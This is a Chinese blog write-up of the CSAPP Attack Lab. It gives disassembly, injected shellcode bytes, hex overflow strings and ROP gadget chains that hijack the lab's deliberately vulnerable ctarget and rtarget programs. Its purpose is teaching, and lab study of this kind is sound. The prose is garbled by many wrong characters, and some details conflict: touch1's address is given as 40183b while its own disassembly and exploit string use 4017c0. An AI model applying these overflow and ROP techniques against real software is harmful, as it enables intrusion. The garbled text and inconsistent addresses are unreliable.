关于c:深入理解计算机系统CSAPP实验四-Attack-Lab

12次阅读

共计 9435 个字符,预计需要花费 24 分钟才能阅读完成。

这是 CSAPP 的第四个试验,这个试验比拟有意思,也比拟难。通过这个试验咱们能够更加相熟 GDB 的应用和机器代码的栈和参数传递机制。

@[toc]

试验目标

  本试验要求在两个有着不同安全漏洞的程序上实现五种攻打。通过实现本试验达到:

  • 深刻了解当程序没有对缓冲区溢出做足够防备时,攻击者可能会如何利用这些安全漏洞。
  • 深刻了解 x86-64 机器代码的栈和参数传递机制。
  • 深刻了解 x86-64 指令的编码方式。
  • 纯熟应用 gdb 和 objdump 等调试工具。
  • 更好地了解写出平安的程序的重要性,理解到一些编译器和操作系统提供的帮忙改善程序安全性的个性。

    做本次试验之前,倡议好好浏览下本篇博文 面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!,了解缓冲区溢出时函数的返回值是如何被批改和精准定位的。

筹备工作

  在官网下载失去实验所需文件解压后会失去五个不同的文件。对六个文件简要阐明如下所示。

  README.txt: 形容文件夹目录

  ctarget: 一个容易蒙受 code injection 攻打的可执行程序。

  rtarget:一个容易蒙受 return-oriented programming 攻打的可执行程序。

  cookie.txt 一个 8 位的十六进制码,用于验证身份的惟一标识符。

  farm.c: 指标“gadget farm”的源代码,用于产生 return-oriented programming 攻打。

  hex2raw:一个生成攻打字符串的工具。

HEX2RAW 冀望由一个或多个空格分隔的两位十六进制值。所以如果你想创立一个十六进制值为 0 的字节,须要将其写为 00。要创立单词 0xdeadbeef 应将“ef be ad de”传递给 HEX2RAW(请留神,小字节序须要反转)。

  编译环境:Ubuntu 16.04,gcc 5.4.0。

  留神:因为咱们应用的是外网编译,所以在运行程序时加上 - q 参数。

内容简介

CTARGET 和 RTARGET 从规范输出中读取字符串,应用的 getbuf 函数如下所示。

unsigned getbuf()
{char buf[BUFFER_SIZE];
    Gets(buf);
    return 1;
}

  函数 Gets()相似于规范库函数 gets(),从规范输出读入一个字符串,将字符串(带 null 结束符)存储在指定的目标地址。二者都只会简略地拷贝字节序列,无奈确定指标缓冲区是否足够大以存储下读入的字符串,因而可能会超出指标地址处调配的存储空间。字符串不能蕴含字节值 0x0a,这是换行符 \n 的 ASCII 码,Gets()遇到这个字节时会认为意在完结该字符串。

  如果用户输出并由 getbuf 读取的字符串足够短,则很显著 getbuf 将返回 1,如以下执行示例所示:

  当输出一个很长的字符串时,将会呈现段谬误,具体如下图所示:

  如上图所示,呈现了缓冲区溢出谬误。咱们能够利用缓冲区溢出来批改程序的返回值,使它指向咱们要求的地址来实现攻打。

CTARGET 和 RTARGET 都采纳几个不同的命令行参数:

-h: 打印可能的命令行参数列表

-q: 本地测评,不要将后果发送到评分服务器

-i FILE: 提供来自文件的输出,而不是来自规范输出的输出

代码注入攻打

Level 1

  对于第 1 个例程,将不会注入新代码,而是缓冲区溢出破绽利用字符串将重定向程序来执行现有程序。在 CTARGET 文件中中调用了函数 getbuf。当 getbuf 执行完 return 语句后,程序通常会接着向下执行第 5 行的内容。

void test() 
{
    int val;
    val = getbuf();
    printf("NO explit. Getbuf returned 0x%x\n", val);
}

  如果咱们想扭转这种行为。在文件 ctarget 中,咱们要把 getbuf 函数的返回值指向函数 touch1,touch1 代码如下所示:

void touch1() 
{
    vlevel = 1;
    printf("Touch!: You called touch1()\n");   
    validate(1);
    exit(0);
}

  执行 objdump -d rtarget > rtarget.d 命令,将 rtarget 反汇编看下 getbuf 和 touch1 的反汇编代码。

00000000004017a8 <getbuf>:
  4017a8:    48 83 ec 28              sub    $0x28,%rsp                      # 开拓 40 字节的空间
  4017ac:    48 89 e7                 mov    %rsp,%rdi
  4017af:    e8 ac 03 00 00           callq  401b60 <Gets>
  4017b4:    b8 01 00 00 00           mov    $0x1,%eax
  4017b9:    48 83 c4 28              add    $0x28,%rsp
  4017bd:    c3                       retq                                   # 失常返回,跳转到 test 函数的第 5 行继续执行
  4017be:    90                       nop
  4017bf:    90                       nop
00000000004017c0 <touch1>:
  4017c0:    48 83 ec 08              sub    $0x8,%rsp
  4017c4:    c7 05 0e 3d 20 00 01     movl   $0x1,0x203d0e(%rip)        # 6054dc <vlevel>
  4017cb:    00 00 00 
  4017ce:    bf e5 31 40 00           mov    $0x4031e5,%edi
  4017d3:    e8 e8 f4 ff ff           callq  400cc0 <puts@plt>
  4017d8:    bf 01 00 00 00           mov    $0x1,%edi
  4017dd:    e8 cb 05 00 00           callq  401dad <validate>
  4017e2:    bf 00 00 00 00           mov    $0x0,%edi
  4017e7:    e8 54 f6 ff ff           callq  400e40 <exit@plt>

  由上述反汇编代码能够晓得,咱们只有批改 getbuf 结尾处的 ret 指令,将其指向 touch1 函数的起始地址 40183b 就能够。要想将其精确指向 40183b,要首先将 getbuf 的 40 字节内容填充斥,使其溢出,再将 40183b 笼罩 getbuf 原来的返回地址即可。(这里不明确的能够看下文章面试官不讲武德,竟然让我讲讲蠕虫和金丝雀!)

  攻打字符串如下所示,命名为 attack1.txt。

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
c0 17 40 00 00 00 00 00  

执行以下指令进行测试

./hex2raw < attack1.txt > attackraw1.txt
./ctarget -qi attackraw1.txt

Level 2

  第 2 阶段波及注入大量代码作为攻打字符串的一部分。在文件 ctarget 中,touch2 的代码如下所示:

void touch2(unsigned val)
{
    vlevel = 2;     /* Part of validation protocol */
    if (val == cookie) {printf("Touch2!: You called touch2(0x%.8x)\n", val);
        validate(2);
    } else {printf("Misfire: You called touch2(0x%.8x)\n", val);
        fail(2);
     }
     exit(0);
}

  反汇编如下所示:

00000000004017ec <touch2>:
  4017ec:    48 83 ec 08              sub    $0x8,%rsp
  4017f0:    89 fa                    mov    %edi,%edx                  # val 存在 %rdi 中
  4017f2:    c7 05 e0 3c 20 00 02     movl   $0x2,0x203ce0(%rip)        # 6054dc <vlevel>
  4017f9:    00 00 00 
  4017fc:    3b 3d e2 3c 20 00        cmp    0x203ce2(%rip),%edi        # 6054e4 <cookie>
  401802:    75 20                    jne    401824 <touch2+0x38>
  401804:    be 08 32 40 00           mov    $0x403208,%esi
  401809:    bf 01 00 00 00           mov    $0x1,%edi
  40180e:    b8 00 00 00 00           mov    $0x0,%eax
  401813:    e8 d8 f5 ff ff           callq  400df0 <__printf_chk@plt>
  401818:    bf 02 00 00 00           mov    $0x2,%edi
  40181d:    e8 8b 05 00 00           callq  401dad <validate>
  401822:    eb 1e                    jmp    401842 <touch2+0x56>
  401824:    be 30 32 40 00           mov    $0x403230,%esi
  401829:    bf 01 00 00 00           mov    $0x1,%edi
  40182e:    b8 00 00 00 00           mov    $0x0,%eax
  401833:    e8 b8 f5 ff ff           callq  400df0 <__printf_chk@plt>
  401838:    bf 02 00 00 00           mov    $0x2,%edi
  40183d:    e8 2d 06 00 00           callq  401e6f <fail>
  401842:    bf 00 00 00 00           mov    $0x0,%edi
  401847:    e8 f4 f5 ff ff           callq  400e40 <exit@plt>

  Level 2 和 Level 1 差异次要在 Level 2 多了一个 val 参数,咱们在跳转到 Level 2 时,还要将其参数传递过来,让他认为是本人的 cookie 0x59b997fa。

  因而,咱们首先要将 0x59b997fa 赋值给 %rdi,实现参数的传递。如何实现程序的跳转呢?在第一次 ret 的时候,将 ret 地址写为咱们写好的攻打代码,在攻打代码中,将 touch2 的地址 0x4017ec 压栈,汇编代码再 ret 到 touch2。咱们能实现这个攻打的前提是这个具备破绽的程序在运行时的 栈地址是固定的 ,不会因运行屡次而扭转,并且这个程序 容许执行栈中的代码。汇编代码如下所示:

mov    $0x59b997fa,%rdi
pushq  $0x4017ec              #压栈,ret 时会将 0x4017ec 弹出执行
ret

  应用如下指令将汇编代码反汇编

gcc -c attack2.s
objdump -d attack2.o > attack2.d

  反汇编代码如下所示:

0000000000000000 <.text>:
   0:   48 c7 c7 fa 97 b9 59    mov    $0x59b997fa,%rdi
   7:   68 ec 17 40 00          pushq  $0x4017ec
   c:   c3                      retq

  内存中存储这段代码的中央便是 getbuf 开拓的缓冲区,咱们利用 gdb 查看此时缓冲区的起始地址。

  留神:缓冲区地址为 0x5561dca0(栈底), 因为调配了一个 0x28 的栈, 插入的代码在字符串首,即栈顶(低地址),所以地址最终要取 0x5561dca0-0x28 = 0x5561dc78。大坑!大坑!大坑!

48 c7 c7 fa 97 b9 59 68 
ec 17 40 00 c3 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
// 以上蕴含注入代码填充斥整个缓冲区(40 字节)以至溢出。78 dc 61 55 00 00 00 00
// 用缓冲区的起始地址笼罩掉原先的返回地址(留神字节程序)。

  最终测试后果正确

Level 3

int hexmatch(unsigned val, char *sval)
{char cbuf[110];
    /* Make position of check string unpredictable */
    char *s = cbuf + random() % 100;
    /**/
    sprintf(s, "%.8x", val);         
    return strncmp(sval, s, 9) == 0;
}

void touch3(char *sval)
{
    vlevel = 3;
    if (hexmatch(cookie, sval)){printf("Touch3!: You called touch3(\"%s\")\n", sval);
        validate(3);
    } else {printf("Misfire: You called touch3(\"%s\")\n", sval);
        fail(3);
    }
    exit(0);
}

  与之前的相似,在 getbuf 函数返回的时候,执行 touch3 而不是 test。touch3 函数传入的是 cookie 的字符串示意。因而,咱们要将 %rdi 设置为 cookie 的地址即字符串示意(0x59b997fa -> 35 39 62 39 39 37 66 61)。

00000000004018fa <touch3>:
  4018fa:    53                       push   %rbx
  4018fb:    48 89 fb                 mov    %rdi,%rbx
  4018fe:    c7 05 d4 3b 20 00 03     movl   $0x3,0x203bd4(%rip)        # 6054dc <vlevel>
  401905:    00 00 00 
  401908:    48 89 fe                 mov    %rdi,%rsi
  40190b:    8b 3d d3 3b 20 00        mov    0x203bd3(%rip),%edi        # 6054e4 <cookie>
  401911:    e8 36 ff ff ff           callq  40184c <hexmatch>
  401916:    85 c0                    test   %eax,%eax
  401918:    74 23                    je     40193d <touch3+0x43>
  40191a:    48 89 da                 mov    %rbx,%rdx
  40191d:    be 58 32 40 00           mov    $0x403258,%esi
  401922:    bf 01 00 00 00           mov    $0x1,%edi
  401927:    b8 00 00 00 00           mov    $0x0,%eax
  40192c:    e8 bf f4 ff ff           callq  400df0 <__printf_chk@plt>
  401931:    bf 03 00 00 00           mov    $0x3,%edi
  401936:    e8 72 04 00 00           callq  401dad <validate>
  40193b:    eb 21                    jmp    40195e <touch3+0x64>
  40193d:    48 89 da                 mov    %rbx,%rdx
  401940:    be 80 32 40 00           mov    $0x403280,%esi
  401945:    bf 01 00 00 00           mov    $0x1,%edi
  40194a:    b8 00 00 00 00           mov    $0x0,%eax
  40194f:    e8 9c f4 ff ff           callq  400df0 <__printf_chk@plt>
  401954:    bf 03 00 00 00           mov    $0x3,%edi
  401959:    e8 11 05 00 00           callq  401e6f <fail>
  40195e:    bf 00 00 00 00           mov    $0x0,%edi
  401963:    e8 d8 f4 ff ff           callq  400e40 <exit@plt>

  在 touch3 中调用了 hexmatch 函数,这个函数中又开拓了 110 个字节的空间。如果咱们把 cookie 放在栈中,执行 hexmatch 函数可能会把 cookie 的数据笼罩掉。咱们能够间接通过植入指令来批改 %rsp 栈指针的值。

fa 18 40 00 00 00 00 00  #touch3 的地址
bf 90 dc 61 55 48 83 ec  #mov    edi, 0x5561dc90
30 c3 00 00 00 00 00 00  #sub    rsp, 0x30  ret
35 39 62 39 39 37 66 61  #cookie
00 00 00 00 00 00 00 00
80 dc 61 55              #stack top 的地址 +8

返回导向编程攻打

  对程序 RTARGET 进行代码注入攻打比对 CTARGET 进行难度要大得多,因为它应用两种技术来阻止此类攻打:

  它应用栈随机化,以使堆栈地位在一次运行与另一次运行中不同。这使得不可能确定注入代码的地位。

  它会将保留堆栈的内存局部标记为不可执行,因而,即便能够将程序计数器设置为注入代码的结尾,程序也会因分段谬误而失败。

<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_c3%E8%BF%94%E5%9B%9E%E5%9C%B0%E5%9D%80.png” alt=”image-20201119101626094″ style=”zoom:67%;” />

  侥幸的是,聪慧的人曾经设计出了通过执行程序来在程序中实现有用的事件的策略。应用现有代码,而不是注入新代码。罕用的是 ROP 策略,ROP 的策略是辨认现有程序中的字节序列,由一个或多个指令后跟指令 ret 组成 。这种段称为 gadget.。图 2 阐明了如何设置堆栈以执行 n 个 gadget 的序列。在此图中,堆栈蕴含一系列 gadget 地址。每个 gadget 都蕴含一系列指令字节,其中最初一个是 0xc3,对 ret 指令进行编码。当程序从该配置开始执行 ret 指令时,它将启动一系列 gadget 执行,其中 ret 指令位于每个 gadget 的开端,从而导致程序跳至下一个开始。通过一直的跳转,拼凑出本人想要的后果来进行攻打的形式。(简略来说:就是利用现有程序的汇编代码,从不同的函数中挑选出本人想要的代码, 通过一直跳转的形式将这些代码拼接起来组成咱们须要的代码。)

  上面是试验手册给出的局部指令所对应的字节码,咱们须要在 rtarget 文件中筛选这些指令去执行之前 level2 和 level3 的攻打。

<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%86.png” alt=”image-20201119101419358″ style=”zoom:67%;” />

<img src=”https://gitee.com/dongxingbo/Picture/raw/master//Blog/2020/%E5%8D%81%E4%B8%80%E6%9C%88/attack%E5%AE%9E%E9%AA%8C_ROP%E6%8C%87%E4%BB%A4%E9%9B%862.png” alt=”image-20201119101449467″ style=”zoom:67%;” />

Level 2

  这个试验与之前的 Level 2 很类似,所以咱们要做的就是将 cookie 的值赋值给 %rdi,执行 touch2。然而本题应用的是 ROP 攻打模式,不可能间接有 movq $ 0x59b997fa,%rdi 这样的代码。Write up 提醒能够用 movq, popq 等来实现这个工作。因而咱们能够把 $0x59b997fa 放在栈中,再 popq %rdi,利用 popq 咱们能够把数据从栈中转移到寄存器中,而这个恰好是咱们所须要的。代码有了,那咱们就去寻找 gadget。

  思路确定了,接下来只须要依据 Write up 提供的 encoding table 来查找 popq 对应 encoding 是否在程序中呈现了。很容易找到 popq %rdi 对应的编码 5f 在这里呈现,并且下一条就是 ret:

402b18:    41 5f                pop    %r15
402b1a:    c3                      retq   

  所以答案就是:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
19 2b 40 00 00 00 00 00 #pop %rdi
fa 97 b9 59 00 00 00 00 #cookie
ec 17 40 00 00 00 00 00 #touch2

  运行下后果如下所示

Level 3

  这个试验是在之前 Level3 的根底上又减少了一个难度,具体要求是要用 ROP 跳转到 touch3,并且传入一个和 cookie 一样的字符串。因为栈是随机化的,那么咱们如何在栈地址随机化的状况上来获取咱们放在栈中的字符串的首地址呢?咱们只能通过操作 %rsp 的值来扭转地位。在之前的 Level 3 试验中也提到过,touch3 函数会调用 hexmatch 函数,在 hexmatch 中会开拓 110 个字节的空间,如果字符串放在 touch3 函数返回地址的上方,那么 cookie 肯定会被笼罩。因而,咱们应该放在更高一点的地位,即便得 hexmatch 函数新开拓空间也够不到 cookie 字符串。所以,字符串的地址肯定是 %rsp 加上一个数。

  可是 WriteUp 里给的 encoding table 都是 mov pop nop 双编码等指令,并没有加法,然而 gadget farm 中有一条自带的指令,具体如下所示:

00000000004019d6 <add_xy>:
  4019d6:    48 8d 04 37              lea    (%rdi,%rsi,1),%rax          # %rax = %rdi + %rsi
  4019da:    c3                       retq   

  咱们能够通过这个函数来实现加法,因为 lea (%rdi,%rsi,1) %rax 就是 %rax = %rdi + %rsi。所以,只有可能让 %rdi 和 %rsi 其中一个保留 %rsp,另一个保留从 stack 中 pop 进去的偏移值,就能够示意 cookie 寄存的地址,而后把这个地址 mov 到 %rdi 就功败垂成了。

  对应 Write up 外面的 encoding table 会发现,从 %rax 并不能间接 mov 到 %rsi,而只能通过 %eax->%edx->%ecx->%esi 来实现这个。所以,兵分两路:
   1. 把 %rsp 寄存到 %rdi 中
  2. 把偏移值(须要确定指令数后能力确定) 寄存到 %rsi 中

  而后,再用 lea 那条指令把这两个后果的和寄存到 %rax 中,再 movq 到 %rdi 中就实现了。

  值得注意的是,下面两路实现工作的寄存器不能调换,因为从 %eax 到 %esi 这条路线下面的 mov 都是 4 个 byte 的操作,如果对 %rsp 的值采纳这条路线,%rsp 的值会被截断掉,最初的后果就错了。然而偏移值不会,因为 4 个 bytes 足够示意了。

  最初后果:

00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00   #movq %rsp, %rax   
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
ab 19 40 00 00 00 00 00   #popq %rax
48 00 00 00 00 00 00 00   #偏移值
dd 19 40 00 00 00 00 00   #mov %eax, %edx
34 1a 40 00 00 00 00 00   #mov %edx, %ecx
13 1a 40 00 00 00 00 00   #mov %ecx, %esi
d6 19 40 00 00 00 00 00   #lea (%rsi, %rdi, 1) %rax
a2 19 40 00 00 00 00 00   #movq %rax, %rdi
fa 18 40 00 00 00 00 00   #touch3
35 39 62 39 39 37 66 61   #cookie

参考 https://zhuanlan.zhihu.com/p/…

  测试后果如下:

总结

  这几个试验挺有意思的,体验了一把黑客的感觉。最初一个试验还是有难度的,本人也参考网上其他人的解法。通过本次试验也增强了本人对函数调用栈,字节序,GDB,汇编的了解。X86 有些指令用多了也就记住了,不须要刻意去记,游刃有余!

  养成习惯,先赞后看!如果感觉写的不错,欢送关注,点赞,转发,谢谢!
如遇到排版错乱的问题,能够通过以下链接拜访我的 CSDN。

**CSDN:[CSDN 搜寻“嵌入式与 Linux 那些事”]

正文完
 0